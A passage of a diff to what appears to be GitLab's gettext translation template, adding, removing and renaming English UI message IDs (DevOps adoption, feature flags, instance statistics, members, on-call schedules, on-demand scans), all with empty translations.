+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
